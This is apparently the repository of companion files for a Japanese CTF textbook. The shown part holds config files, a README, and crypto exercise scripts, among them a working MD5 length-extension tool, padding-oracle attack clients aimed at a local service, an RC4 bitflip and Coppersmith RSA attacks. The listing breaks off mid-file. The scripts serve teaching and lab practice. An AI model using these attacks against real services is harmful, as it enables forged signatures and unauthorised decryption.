├── .eslintrc.js ├── .github └── workflows │ └── build.yml ├── .gitignore ├── README.md ├── dist ├── Vagrantfile └── files │ ├── crypto │ ├── chap15_hash │ │ ├── hmac_sha1.py │ │ ├── lea_md5.py │ │ └── lea_service.py │ ├── chap16_symmetric_key_crypto │ │ ├── bitflip.py │ │ ├── ecb_service.py │ │ ├── padoracle.py │ │ ├── padoracle_decrypt.py │ │ └── padoracle_encrypt.py │ ├── chap17_number_theory │ │ ├── crt.py │ │ └── exgcd.py │ ├── chap18_rsa │ │ ├── coppersmith_m.sage │ │ ├── coppersmith_p.sage │ │ ├── coppersmith_shortpad.sage │ │ └── p-1.py │ ├── chap19_elgamal │ │ ├── elgamal_forging.sage │ │ └── elgamal_pohlig.sage │ ├── chap21_random_number │ │ ├── mt_recovery.py │ │ └── xorshift128.py │ └── chap22_practice │ │ └── proof_of_work.py │ ├── preliminaries │ ├── compose │ │ ├── Dockerfile │ │ └── docker-compose.yml │ └── docker │ │ ├── Dockerfile │ │ └── sample.txt │ ├── pwnable │ ├── 02_shellcode │ │ ├── loop.bin │ │ ├── loop.elf │ │ ├── loop.s │ │ ├── loop_wo_nllf.bin │ │ ├── loop_wo_nllf.s │ │ ├── mmap.c │ │ ├── mmap_w_nx │ │ ├── mmap_wo_nx │ │ ├── readfile.bin │ │ ├── readfile.elf │ │ ├── readfile.s │ │ ├── run_shellcode.c │ │ ├── run_shellcode_w_nx │ │ ├── run_shellcode_wo_nx │ │ ├── seccomp_bypass_alter │ │ ├── seccomp_bypass_alter.c │ │ ├── seccomp_bypass_x32 │ │ ├── seccomp_bypass_x32.c │ │ ├── seccomp_bypass_x86 │ │ ├── seccomp_bypass_x86.s │ │ ├── seccomp_filter │ │ ├── seccomp_filter.c │ │ ├── seccomp_filter_write.c │ │ ├── seccomp_strict │ │ └── seccomp_strict.c │ ├── 03_stack │ │ ├── exploit_sbof_leak_canary.py │ │ ├── exploit_sbof_pivot.py │ │ ├── exploit_sbof_pivot_draft.py │ │ ├── local_vars │ │ ├── local_vars.c │ │ ├── local_vars_w_ssp │ │ ├── sbof_leak.c │ │ ├── sbof_leak_w_ssp │ │ ├── sbof_leak_w_ssp_pie │ │ ├── sbof_lv │ │ ├── sbof_lv.c │ │ ├── sbof_pivot │ │ ├── sbof_pivot.c │ │ ├── sbof_ret │ │ ├── sbof_ret.c │ │ ├── sbof_ret_w_ssp │ │ ├── trace │ │ └── trace.c │ ├── 04_resolve │ │ ├── aarw │ │ ├── aarw.c │ │ ├── dl_hash.py │ │ ├── exploit_aarw.py │ │ ├── hello │ │ ├── hello.c │ │ ├── hello_norelro_lazy │ │ ├── hello_norelro_now │ │ ├── hello_relro_lazy │ │ ├── hello_relro_now │ │ └── hello_w_cf │ ├── 05_heap │ │ ├── attack_fastbin_dup │ │ ├── attack_fastbin_dup.c │ │ ├── attack_fastbin_poisoning │ │ ├── attack_fastbin_poisoning.c │ │ ├── attack_fastbin_poisoning_via_tcache │ │ ├── attack_fastbin_poisoning_via_tcache.c │ │ ├── attack_hook │ │ ├── attack_hook.c │ │ ├── attack_largebin_link │ │ ├── attack_largebin_link.c │ │ ├── attack_leak │ │ ├── attack_leak.c │ │ ├── attack_set_ismmapped │ │ ├── attack_set_ismmapped.c │ │ ├── attack_size_expand │ │ ├── attack_size_expand.c │ │ ├── attack_size_shrink │ │ ├── attack_size_shrink.c │ │ ├── attack_size_shrink_top │ │ ├── attack_size_shrink_top.c │ │ ├── attack_smallbin_poisoning.c │ │ ├── attack_smallbin_tcache │ │ ├── attack_smallbin_unlink │ │ ├── attack_tamper_max_fast │ │ ├── attack_tamper_max_fast.c │ │ ├── attack_tamper_tcache_bins │ │ ├── attack_tamper_tcache_bins.c │ │ ├── attack_tcache_dup │ │ ├── attack_tcache_dup.c │ │ ├── attack_tcache_poisoning │ │ ├── attack_tcache_poisoning.c │ │ ├── attack_unset_previnuse │ │ ├── attack_unset_previnuse.c │ │ ├── fast2tcache │ │ ├── fast2tcache.c │ │ ├── huge │ │ ├── huge.c │ │ ├── malloc_struct.h │ │ ├── small2tcache │ │ ├── small2tcache.c │ │ ├── unsorted2tcache │ │ └── unsorted2tcache.c │ ├── 06_vulnfunc │ │ ├── fortify_printf_idx │ │ ├── fortify_printf_idx.c │ │ ├── fortify_printf_write │ │ ├── fortify_printf_write.c │ │ ├── fortify_strcpy │ │ ├── fortify_strcpy.c │ │ ├── fsb_aarw │ │ ├── fsb_aarw.c │ │ ├── fsb_leak │ │ ├── fsb_leak.c │ │ ├── fsb_random │ │ ├── fsb_random.c │ │ ├── fsb_twice │ │ └── fsb_twice.c │ └── 99_challs │ │ ├── heap │ │ ├── chall_heap │ │ ├── chall_heap.c │ │ └── exploit_heap.py │ │ ├── resolve │ │ ├── chall_resolve │ │ ├── chall_resolve.c │ │ └── exploit_resolve.py │ │ ├── shellcode │ │ ├── chall_shellcode │ │ ├── chall_shellcode.c │ │ ├── shellcode.bin │ │ └── shellcode.s │ │ ├── stack │ │ ├── chall_stack │ │ ├── chall_stack.c │ │ └── exploit_stack.py │ │ └── vulnfunc │ │ ├── chall_vulnfunc │ │ ├── chall_vulnfunc.c │ │ └── exploit_vulnfunc.py │ ├── rev │ ├── 01_introduction │ │ └── program │ ├── 04_static │ │ ├── Makefile │ │ ├── optimized-program │ │ ├── program │ │ └── source.c │ ├── 05_dynamic │ │ ├── Makefile │ │ ├── calc_password.py │ │ ├── program │ │ ├── program.dif │ │ └── source.c │ └── 06_advanced │ │ ├── angr │ │ └── angrsolve.py │ │ ├── detection │ │ ├── ptrace.c │ │ └── tracer_pid.c │ │ ├── obfuscation │ │ ├── Makefile │ │ ├── sample │ │ └── sample.S │ │ ├── patch │ │ └── patch.py │ │ └── z3 │ │ ├── z3_find_all.py │ │ ├── z3sample.c │ │ └── z3solve.py │ └── web │ ├── 02_basics │ ├── MySQL │ │ ├── db │ │ │ └── init │ │ │ │ └── init.sql │ │ └── docker-compose.yml │ ├── browsersec │ │ └── fetch-weather.html │ ├── burp │ │ ├── app-for-decoder.py │ │ ├── app-for-intruder.py │ │ └── app-for-proxy-and-repeater.py │ ├── client │ │ ├── fetch-header.js │ │ ├── fetch-post.js │ │ ├── fetch.js │ │ ├── requests-get1.py │ │ ├── requests-get2.py │ │ ├── requests-get3.py │ │ ├── requests-session.py │ │ └── xmlhttprequest.js │ ├── content │ │ ├── SQL │ │ │ └── MySQL │ │ │ │ ├── db │ │ │ │ └── init │ │ │ │ │ └── init.sql │ │ │ │ └── docker-compose.yml │ │ ├── html │ │ │ ├── index-with-style.html │ │ │ └── index.html │ │ └── js │ │ │ ├── array-object.js │ │ │ ├── dom.html │ │ │ ├── function.js │ │ │ ├── json.js │ │ │ └── variable.js │ ├── request-inspect-app.py │ └── svapp │ │ ├── app.py │ │ ├── nginx.conf │ │ ├── requirements.txt │ │ └── templates │ │ └── index.html │ ├── 03_DirTrav │ └── dirtrav-app │ │ ├── app │ │ ├── Dockerfile │ │ └── app │ │ │ ├── app.py │ │ │ ├── requirements.txt │ │ │ └── templates │ │ │ ├── add.html │ │ │ ├── index.html │ │ │ └── memo.html │ │ └── docker-compose.yml │ ├── 04_XSS │ ├── column-vue.html │ ├── csp-baseuri │ │ ├── app │ │ │ ├── app.py │ │ │ └── static │ │ │ │ └── index.js │ │ └── attacker │ │ │ └── static │ │ │ └── index.js │ ├── csp-strict-dynamic │ │ ├── app.py │ │ └── poc.html │ ├── patterns.py │ ├── xss-dombased.html │ └── xss-example.py │ ├── 05_SQLi │ ├── SQLi-app │ │ ├── db │ │ │ └── init │ │ │ │ └── init.sql │ │ ├── docker-compose.yml │ │ ├── web1 │ │ │ ├── Dockerfile │ │ │ └── app │ │ │ │ ├── app.py │ │ │ │ ├── requirements.txt │ │ │ │ └── templates │ │ │ │ ├── add.html │ │ │ │ └── index.html │ │ ├── web2 │ │ │ ├── Dockerfile │ │ │ └── app │ │ │ │ ├── app.py │ │ │ │ ├── requirements.txt │ │ │ │ └── templates │ │ │ │ ├── add.html │ │ │ │ └── index.html │ │ ├── web3 │ │ │ ├── Dockerfile │ │ │ └── app │ │ │ │ ├── app.py │ │ │ │ ├── requirements.txt │ │ │ │ └── templates │ │ │ │ ├── add.html │ │ │ │ └── index.html │ │ ├── web4 │ │ │ ├── Dockerfile │ │ │ └── app │ │ │ │ ├── app.py │ │ │ │ ├── requirements.txt │ │ │ │ └── templates │ │ │ │ ├── add.html │ │ │ │ └── index.html │ │ └── web5 │ │ │ ├── Dockerfile │ │ │ └── app │ │ │ ├── app.py │ │ │ ├── requirements.txt │ │ │ └── templates │ │ │ ├── add.html │ │ │ ├── index.html │ │ │ └── modify.html │ └── scripts │ │ ├── sqli-boolean-exploit.py │ │ └── sqli-time-exploit.py │ ├── 06_SSTI │ ├── SSTI-app │ │ ├── app │ │ │ ├── Dockerfile │ │ │ └── app │ │ │ │ ├── app.py │ │ │ │ ├── requirements.txt │ │ │ │ └── templates │ │ │ │ ├── add.html │ │ │ │ └── index.html │ │ ├── db │ │ │ └── init │ │ │ │ └── init.sql │ │ └── docker-compose.yml │ └── scripts │ │ ├── builtins-example.py │ │ ├── class-example.py │ │ ├── globals-example.py │ │ ├── mro-example.py │ │ ├── str-to-object.py │ │ └── subclass-example.py │ ├── 07_SSRF │ └── SSRF-app │ │ ├── app │ │ ├── Dockerfile │ │ └── app │ │ │ ├── app.py │ │ │ ├── requirements.txt │ │ │ └── templates │ │ │ └── index.html │ │ └── docker-compose.yml │ └── 08_XXE │ ├── XXE-app │ ├── docker-compose.yml │ ├── web1 │ │ ├── Dockerfile │ │ └── app │ │ │ ├── app.py │ │ │ ├── config.xml │ │ │ ├── requirements.txt │ │ │ └── templates │ │ │ └── index.html │ ├── web2 │ │ ├── Dockerfile │ │ └── app │ │ │ ├── app.py │ │ │ ├── config.xml │ │ │ ├── requirements.txt │ │ │ └── templates │ │ │ └── index.html │ └── web3 │ │ ├── Dockerfile │ │ └── app │ │ ├── app.py │ │ ├── config.xml │ │ ├── requirements.txt │ │ └── templates │ │ └── index.html │ ├── payload │ ├── blind_errorinfo.dtd │ ├── send_file_to_server.dtd │ └── wrapper.dtd │ └── script │ └── oob_test.py ├── gatsby-config.js ├── package.json ├── src ├── @rocketseat │ └── gatsby-theme-docs │ │ ├── components │ │ └── Logo.tsx │ │ └── text │ │ └── index.mdx ├── @types │ └── .gitignore ├── assets │ └── logo.png ├── config │ └── sidebar.yml ├── docs │ ├── about-dist.mdx │ ├── about.mdx │ └── faq.mdx └── pages │ └── 404.js ├── static ├── banner.png ├── cover.png └── favicon.png ├── tsconfig.json └── yarn.lock /.eslintrc.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | extends: [ 3 | "eslint:recommended", 4 | "plugin:@typescript-eslint/eslint-recommended", 5 | "plugin:@typescript-eslint/recommended", 6 | "plugin:prettier/recommended", 7 | ], 8 | plugins: ["@typescript-eslint"], 9 | env: { 10 | node: true, 11 | es6: true, 12 | }, 13 | parser: "@typescript-eslint/parser", 14 | parserOptions: { 15 | sourceType: "module", 16 | project: "./tsconfig.json", 17 | tsconfigRootDir: __dirname, 18 | }, 19 | rules: { 20 | "@typescript-eslint/no-unused-vars": ["error", { argsIgnorePattern: "^_" }], 21 | "@typescript-eslint/no-explicit-any": "off", 22 | "@typescript-eslint/ban-ts-comment": "off", 23 | "@typescript-eslint/no-empty-function": "off", 24 | "@typescript-eslint/no-var-requires": "off", 25 | "@typescript-eslint/explicit-module-boundary-types": "off", 26 | }, 27 | root: true, 28 | }; 29 | -------------------------------------------------------------------------------- /.github/workflows/build.yml: -------------------------------------------------------------------------------- 1 | name: Build the site 2 | 3 | on: 4 | push: 5 | branches: 6 | - main 7 | 8 | jobs: 9 | build: 10 | name: Build pages 11 | runs-on: ubuntu-latest 12 | steps: 13 | # set up the env 14 | - uses: actions/checkout@v1 15 | - uses: actions/setup-node@v2 16 | with: 17 | node-version: 14 18 | 19 | # build the site 20 | - name: yarn install 21 | run: yarn install 22 | - name: run build 23 | run: yarn build --prefix-paths 24 | - name: Create a directory for distribution files 25 | run: | 26 | mkdir ./public/dist 27 | 28 | # build dist files 29 | - name: Copy Vagrantfile 30 | working-directory: ./dist 31 | run: | 32 | cp Vagrantfile ../public/dist 33 | - name: Compress ./dist/files as .tar.gz 34 | working-directory: ./dist 35 | run: | 36 | tar czvf files.tar.gz ./files 37 | mv files.tar.gz ../public/dist/ 38 | - name: Compress ./dist/files as .zip 39 | working-directory: ./dist 40 | run: | 41 | zip -r files.zip ./files 42 | mv files.zip ../public/dist/ 43 | 44 | # publish 'em 45 | - name: Publish the site 46 | uses: peaceiris/actions-gh-pages@v3 47 | with: 48 | github_token: ${{ secrets.GITHUB_TOKEN }} 49 | publish_dir: ./public 50 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | 3 | # Logs 4 | logs 5 | *.log 6 | npm-debug.log* 7 | yarn-debug.log* 8 | yarn-error.log* 9 | 10 | # Runtime data 11 | pids 12 | *.pid 13 | *.seed 14 | *.pid.lock 15 | 16 | # Directory for instrumented libs generated by jscoverage/JSCover 17 | lib-cov 18 | 19 | # Coverage directory used by tools like istanbul 20 | coverage 21 | 22 | # nyc test coverage 23 | .nyc_output 24 | 25 | # Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) 26 | .grunt 27 | 28 | # Bower dependency directory (https://bower.io/) 29 | bower_components 30 | 31 | # node-waf configuration 32 | .lock-wscript 33 | 34 | # Compiled binary addons (http://nodejs.org/api/addons.html) 35 | build/Release 36 | 37 | # Dependency directories 38 | node_modules/ 39 | jspm_packages/ 40 | 41 | # Typescript v1 declaration files 42 | typings/ 43 | 44 | # Optional npm cache directory 45 | .npm 46 | 47 | # Optional eslint cache 48 | .eslintcache 49 | 50 | # Optional REPL history 51 | .node_repl_history 52 | 53 | # Output of 'npm pack' 54 | *.tgz 55 | 56 | # dotenv environment variable files 57 | .env* 58 | 59 | # gatsby files 60 | .cache/ 61 | public 62 | 63 | # Mac files 64 | .DS_Store 65 | 66 | # Yarn 67 | yarn-error.log 68 | .pnp/ 69 | .pnp.js 70 | # Yarn Integrity file 71 | .yarn-integrity 72 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 『詳解セキュリティコンテスト』 2 | 3 | このリポジトリは書籍『詳解セキュリティコンテスト』の [補助情報や配布ファイルを提供するページ](https://ctfbook.github.io/2nd/) を管理しています。 4 | 5 | ## 書籍について 6 | 7 | - タイトル: 詳解セキュリティコンテスト - CTF で学ぶ脆弱性攻略の技術 8 | - 著者: 梅内翼、清水祐太郎、藤原裕大、前田優人、米内貴志、渡部裕 9 | - 出版社: マイナビ出版 10 | - 出版日: 2021 年 7 月 26 日 11 | - ISBN: 978-4-8399-7349-0 12 | - [マイナビ出版の書籍ページ](https://book.mynavi.jp/ec/products/detail/id=122750) 13 | - [Amazon の商品ページ](https://www.amazon.co.jp/dp/4839973490) 14 | 15 | ## 配布ファイルについて 16 | 17 | 本リポジトリの `./dist` 以下には書籍中で利用されているファイル類が格納されています。本リポジトリを以下のようなコマンドで clone することにより、これらのファイルをお手元の端末でご利用いただくことができます: 18 | 19 | ```sh 20 | git clone git@github.com:ctfbook/2nd.git 21 | ``` 22 | 23 | また、`./dist` 以下の配布ファイルは以下のような URL でも配布されています: 24 | 25 | - 演習用 VM ファイル: `https://ctfbook.github.io/2nd/dist/Vagrantfile` 26 | - 演習用ファイル(zip 版): `https://ctfbook.github.io/2nd/dist/files.zip` 27 | - 演習用ファイル(tar.gz 版): `https://ctfbook.github.io/2nd/dist/files.tar.gz` 28 | -------------------------------------------------------------------------------- /dist/files/crypto/chap15_hash/hmac_sha1.py: -------------------------------------------------------------------------------- 1 | from hashlib import sha1 2 | from binascii import hexlify 3 | 4 | BLOCK_SIZE = 64 # ハッシュ関数のブロックサイズ 5 | ipad = b'\x36' * BLOCK_SIZE 6 | opad = b'\x5c' * BLOCK_SIZE 7 | 8 | def xor(s1, s2): 9 | return bytes([ a ^ b for a, b in zip(s1, s2) ]) 10 | 11 | def hmac_sha1(key, msg): 12 | if len(key) > BLOCK_SIZE: 13 | key = sha1(key).digest() 14 | 15 | key = key + b'\x00' * (BLOCK_SIZE - len(key)) 16 | 17 | k_opad = xor(key, opad) 18 | k_ipad = xor(key, ipad) 19 | return sha1(k_opad + sha1(k_ipad + msg).digest()) 20 | 21 | print(hmac_sha1(b'secretkey', b'somedata').hexdigest()) 22 | # => b9a7a9d5256a599d69f09586278e046ce6430254 23 | -------------------------------------------------------------------------------- /dist/files/crypto/chap15_hash/lea_md5.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | S = ([7, 12, 17, 22] * 4 + 4 | [5, 9, 14, 20] * 4 + 5 | [4, 11, 16, 23] * 4 + 6 | [6, 10, 15, 21] * 4) 7 | 8 | K = [ int((1<<32) * abs(math.sin(i))) for i in range(1, 65) ] 9 | Fs = [ 10 | lambda B, C, D: (B & C) | (~B & D), 11 | lambda B, C, D: (B & D) | (C & ~D), 12 | lambda B, C, D: B ^ C ^ D, 13 | lambda B, C, D: C ^ (B | ~D) 14 | ] 15 | 16 | # 32bit 左ローテート 17 | def rol(n, shift): 18 | return ((n << shift) | (n >> (32 - shift))) & 0xffffffff 19 | 20 | # ブロックサイズになるようにパディング 21 | def md5_pad(msg, offset=0): 22 | msg_len = len(msg) + offset 23 | msg += b'\x80' 24 | if (len(msg) + offset) % 64 > 56: 25 | msg += b'\x00' * ((64 - (len(msg) + offset) % 64) + 56) 26 | else: 27 | msg += b'\x00' * (56 - (len(msg) + offset) % 64) 28 | 29 | msg += (msg_len << 3).to_bytes(8, byteorder='little') 30 | return msg 31 | 32 | def md5(msg, IV=(0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476), offset=0): 33 | A0, B0, C0, D0 = IV 34 | msg = md5_pad(msg, offset) 35 | 36 | gs = [(1, 0), (5, 1), (3, 5), (7, 0)] 37 | for i in range(len(msg) // 64): 38 | block = msg[i*64:(i+1)*64] 39 | A, B, C, D = A0, B0, C0, D0 40 | 41 | for j in range(64): 42 | jj = j // 16 43 | F = Fs[jj](B, C, D) 44 | g = (gs[jj][0] * j + gs[jj][1]) % 16 45 | 46 | word = int.from_bytes(block[g*4:g*4+4], 'little') 47 | F = (Fs[jj](B, C, D) + A + K[j] + word) & 0xffffffff 48 | A = D 49 | D = C 50 | C = B 51 | B = B + rol(F, S[j]) 52 | 53 | A0 = (A0 + A) & 0xffffffff 54 | B0 = (B0 + B) & 0xffffffff 55 | C0 = (C0 + C) & 0xffffffff 56 | D0 = (D0 + D) & 0xffffffff 57 | 58 | return b''.join(map(lambda x: x.to_bytes(4, byteorder='little'), [A0, B0, C0, D0])) 59 | 60 | if __name__ == '__main__': 61 | from binascii import hexlify, unhexlify 62 | data = input('data> ') 63 | h = unhexlify(input('hash> ')) 64 | add_data = input('additional data> ').encode() 65 | prefix_len = int(input('prefix length> ')) 66 | 67 | A = int.from_bytes(h[:4], 'little') 68 | B = int.from_bytes(h[4:8], 'little') 69 | C = int.from_bytes(h[8:12], 'little') 70 | D = int.from_bytes(h[12:16], 'little') 71 | 72 | padded_data = md5_pad(data.encode(), prefix_len) 73 | new_hash = md5(add_data, (A, B, C, D), len(padded_data) + prefix_len) 74 | print('data:', hexlify(padded_data + add_data).decode()) 75 | print('hash:', hexlify(new_hash).decode()) 76 | 77 | 78 | -------------------------------------------------------------------------------- /dist/files/crypto/chap15_hash/lea_service.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import sys 3 | import random 4 | from binascii import hexlify, unhexlify 5 | # 紙面の都合でソルトを直接定義しています 6 | # 本来はユーザからは見えません 7 | SALT = b'secretsalt' 8 | # -------------------------------------------------- 9 | print('[Register]') 10 | username = input('username> ').encode() 11 | if b'=' in username: 12 | print('Bye.') 13 | sys.exit(1) 14 | 15 | userdata = b'priv=guest,username=' + username 16 | h = hashlib.md5(SALT + userdata).hexdigest() 17 | print('Your userdata(hex) is:', hexlify(userdata).decode()) 18 | print('Your signature is:', h) 19 | # -------------------------------------------------- 20 | print('[Login]') 21 | userdata = unhexlify(input('userdata(hex)> ')) 22 | sig = input('signature(hex)> ') 23 | h = hashlib.md5(SALT + userdata).hexdigest() 24 | if h == sig: 25 | print('Login OK!') 26 | 27 | if b'priv=admin' in userdata.split(b','): 28 | print('Congratulations! You are admin!') 29 | else: 30 | print('Sorry, admin only') 31 | else: 32 | print('Bye.') 33 | sys.exit(1) 34 | 35 | -------------------------------------------------------------------------------- /dist/files/crypto/chap16_symmetric_key_crypto/bitflip.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import ARC4 2 | cipher = ARC4.new(b'secretkey') 3 | encrypted = cipher.encrypt(b'{"username": "user1"}') 4 | bitflip = bytearray(encrypted) 5 | bitflip[14] ^= ord('u') ^ ord('a') 6 | bitflip[15] ^= ord('s') ^ ord('d') 7 | bitflip[16] ^= ord('e') ^ ord('m') 8 | bitflip[17] ^= ord('r') ^ ord('i') 9 | bitflip[18] ^= ord('1') ^ ord('n') 10 | 11 | # RC4を初期状態に戻す 12 | cipher = ARC4.new(b'secretkey') 13 | print(cipher.decrypt(bitflip)) 14 | 15 | -------------------------------------------------------------------------------- /dist/files/crypto/chap16_symmetric_key_crypto/ecb_service.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Util.Padding import pad, unpad 3 | from binascii import hexlify, unhexlify 4 | import json 5 | 6 | key = b'0123456789abcdef' 7 | cipher = AES.new(key, AES.MODE_ECB) 8 | 9 | while True: 10 | username = input('username> ') 11 | if username == 'exit': 12 | break 13 | 14 | plain = json.dumps({'username': username, 'admin': 0}).encode() 15 | encrypted = cipher.encrypt(pad(plain, AES.block_size)) 16 | 17 | print(hexlify(encrypted).decode()) 18 | 19 | challenge = input('challenge> ') 20 | challenge = unhexlify(challenge) 21 | data = json.loads(unpad(cipher.decrypt(challenge), AES.block_size)) 22 | if data['admin'] == 1: 23 | print('OK! Flag is FLAG{sampleflag}') 24 | else: 25 | print('You\'re not admin') 26 | -------------------------------------------------------------------------------- /dist/files/crypto/chap16_symmetric_key_crypto/padoracle.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from binascii import hexlify, unhexlify 3 | import sys 4 | import logging 5 | 6 | logger = logging.getLogger('PadOracle') 7 | logger.addHandler(logging.StreamHandler()) 8 | logger.setLevel(10) 9 | 10 | def pad(x): 11 | return x + bytes([16 - len(x) % 16] * (16 - len(x) % 16)) 12 | 13 | def unpad(x): 14 | ch = x[-1] 15 | if ch < 1 or ch > 16 or len(x) % 16 != 0: 16 | return False 17 | for i in range(len(x) - ch, len(x)): 18 | if x[i] != ch: 19 | return False 20 | return x[:len(x)-ch] 21 | 22 | key = b'samplekey0123456' 23 | data = pad(b'BLOCK01_abcdefg_BLOCK02_abcdefg_BLOCK03') 24 | iv = open('/dev/urandom', 'rb').read(16) 25 | cipher = AES.new(key, AES.MODE_CBC, iv) 26 | print(hexlify(iv + cipher.encrypt(data)).decode()) 27 | 28 | while True: 29 | data = unhexlify(input('Decrypt> ')) 30 | cipher = AES.new(key, AES.MODE_CBC, data[:16]) 31 | dec = cipher.decrypt(data[16:]) 32 | print(unpad(dec) != False) 33 | logger.debug('DEBUG: {}'.format(unpad(dec))) 34 | -------------------------------------------------------------------------------- /dist/files/crypto/chap16_symmetric_key_crypto/padoracle_decrypt.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from binascii import hexlify, unhexlify 3 | 4 | def recvuntil(s, delim=b'\n'): 5 | buf = b'' 6 | while delim not in buf: 7 | buf += s.recv(1) 8 | return buf 9 | 10 | def attack_block(block, prev, oracle_func): 11 | attack = bytearray(b'\x00' * 16) 12 | plaintext = bytearray(b'\x00' * 16) 13 | for i in range(16): 14 | # 末尾iバイトのパディングを調整 15 | for j in range(i): 16 | attack[15-j] ^= i ^ (i + 1) 17 | 18 | # 256通りの総当り 19 | for j in range(256): 20 | attack[15-i] = j 21 | if oracle_func(bytes(attack) + block): 22 | break 23 | else: 24 | # 256通りすべてでTrueが出力されなかった 25 | return False 26 | 27 | # パディング値, 攻撃用ブロック, 1ブロック前の暗号文をXOR 28 | plaintext[15-i] = (i + 1) ^ attack[15-i] ^ prev[15-i] 29 | 30 | return plaintext 31 | 32 | def oracle(sock): 33 | def _oracle(data): 34 | sock.send(hexlify(data) + b'\n') 35 | buf = recvuntil(sock).strip() 36 | return b'True' in buf 37 | return _oracle 38 | 39 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 40 | sock.connect(('localhost', 4444)) 41 | 42 | encrypted = unhexlify(recvuntil(sock).strip()) 43 | result = b'' 44 | 45 | for i in range(16, len(encrypted), 16): 46 | prev = encrypted[i-16:i] 47 | block = encrypted[i:i+16] 48 | result += attack_block(block, prev, oracle(sock)) 49 | 50 | print(result) 51 | -------------------------------------------------------------------------------- /dist/files/crypto/chap16_symmetric_key_crypto/padoracle_encrypt.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from binascii import hexlify, unhexlify 3 | 4 | def pad(x): 5 | return x + bytes([16 - len(x) % 16] * (16 - len(x) % 16)) 6 | 7 | def recvuntil(s, delim=b'\n'): 8 | buf = b'' 9 | while delim not in buf: 10 | buf += s.recv(1) 11 | return buf 12 | 13 | def attack_block(block, plaintext, oracle_func): 14 | attack = bytearray(b'\x00' * 16) 15 | prev = bytearray(b'\x00' * 16) 16 | for i in range(16): 17 | # 末尾iバイトのパディングを調整 18 | for j in range(i): 19 | attack[15-j] ^= i ^ (i + 1) 20 | 21 | # 256通りの総当り 22 | for j in range(256): 23 | attack[15-i] = j 24 | if oracle_func(bytes(attack) + block): 25 | break 26 | else: 27 | # 256通りすべてでTrueが出力されなかった 28 | return False 29 | 30 | # パディング値, 攻撃用ブロック, 目的の平文をXOR 31 | prev[15-i] = (i + 1) ^ attack[15-i] ^ plaintext[15-i] 32 | 33 | return prev 34 | 35 | def oracle(sock): 36 | def _oracle(data): 37 | sock.send(hexlify(data) + b'\n') 38 | buf = recvuntil(sock).strip() 39 | return b'True' in buf 40 | return _oracle 41 | 42 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 43 | sock.connect(('localhost', 4444)) 44 | encrypted = unhexlify(recvuntil(sock).strip()) # 使わない 45 | 46 | # 暗号化する文章 47 | plaintext = pad(b'Encryption_By_PaddingOracleAttack!!') 48 | 49 | # 改ざんされる前の暗号文: 任意の値を使える 50 | result = b'A' * 16 51 | 52 | for i in range(len(plaintext), 0, -16): 53 | pt = plaintext[i-16:i] 54 | block = result[:16] 55 | print(i, pt, block) 56 | result = attack_block(block, pt, oracle(sock)) + result 57 | 58 | sock.send(hexlify(result) + b'\n') 59 | print('Encrypted:', result) 60 | -------------------------------------------------------------------------------- /dist/files/crypto/chap17_number_theory/crt.py: -------------------------------------------------------------------------------- 1 | from functools import reduce 2 | def CRT(a, m): 3 | MM = reduce(lambda a, b: a * b, m) 4 | x = 0 5 | for i in range(len(a)): 6 | Mi = MM // m[i] 7 | ti = pow(Mi, -1, m[i]) 8 | x += (Mi * ti * a[i]) % MM 9 | return x % MM 10 | 11 | print(CRT([2, 3, 2], [3, 5, 7])) 12 | # 23 13 | -------------------------------------------------------------------------------- /dist/files/crypto/chap17_number_theory/exgcd.py: -------------------------------------------------------------------------------- 1 | # ax + by = 1 を満たす (x, y) を返す 2 | def exgcd(a, b): 3 | if a == 0: 4 | return (0, 1 // b) 5 | 6 | q = b // a 7 | r = b % a 8 | s, t = exgcd(r, a) 9 | return (t - q * s, s) 10 | 11 | print(exgcd(5, 3)) 12 | # (-1, 2) 13 | -------------------------------------------------------------------------------- /dist/files/crypto/chap18_rsa/coppersmith_m.sage: -------------------------------------------------------------------------------- 1 | def int2bytes(n): 2 | L = n.bit_length() 3 | return n.to_bytes(floor((L+7)/8), 'big') 4 | 5 | # RSA Parameters 6 | bits = 512 7 | p = random_prime(2^bits) 8 | q = random_prime(2^bits) 9 | N = p * q 10 | e = 3 11 | flag = b'FLAG{recovery_part_of_m}' 12 | prefix = int.from_bytes(b'The flag is: ', 'big') << (len(flag)*8) 13 | m = prefix + int.from_bytes(flag, 'big') 14 | c = pow(m, e, N) 15 | 16 | # Coppersmith's method 17 | PR. = PolynomialRing(Zmod(N)) 18 | f = (prefix + x)^e - c 19 | diff = f.small_roots() 20 | if len(diff): 21 | print(int2bytes(int(diff[0]))) 22 | else: 23 | print('not found') 24 | 25 | # 実行結果 26 | # b'FLAG{recovery_part_of_m}' 27 | -------------------------------------------------------------------------------- /dist/files/crypto/chap18_rsa/coppersmith_p.sage: -------------------------------------------------------------------------------- 1 | # RSA Parameters 2 | bits = 256 3 | p = random_prime(2^bits) 4 | q = random_prime(2^bits) 5 | if p < q: 6 | p, q = q, p 7 | n = p * q 8 | 9 | mask = (1 << p.nbits()) - (1 << int(p.nbits()/3)) 10 | p_high = p & mask 11 | print('p\t', hex(p)) 12 | print('p_high\t', hex(p_high)) 13 | 14 | PR. = PolynomialRing(Zmod(n)) 15 | f = p_high + x 16 | diff = f.small_roots(beta=0.5) 17 | if len(diff): 18 | print('result\t', hex(p_high + diff[0])) 19 | 20 | -------------------------------------------------------------------------------- /dist/files/crypto/chap18_rsa/coppersmith_shortpad.sage: -------------------------------------------------------------------------------- 1 | # RSA パラメータ 2 | bits = 128 3 | p = random_prime(2^bits) 4 | q = random_prime(2^bits) 5 | N = p * q 6 | e = 3 7 | 8 | # 問題生成 9 | m = ZZ.random_element(N) 10 | diff_size = floor(N.nbits() / (e^2) / 2) 11 | diff = ZZ.random_element(2^diff_size) 12 | c1 = pow(m, e, N) 13 | 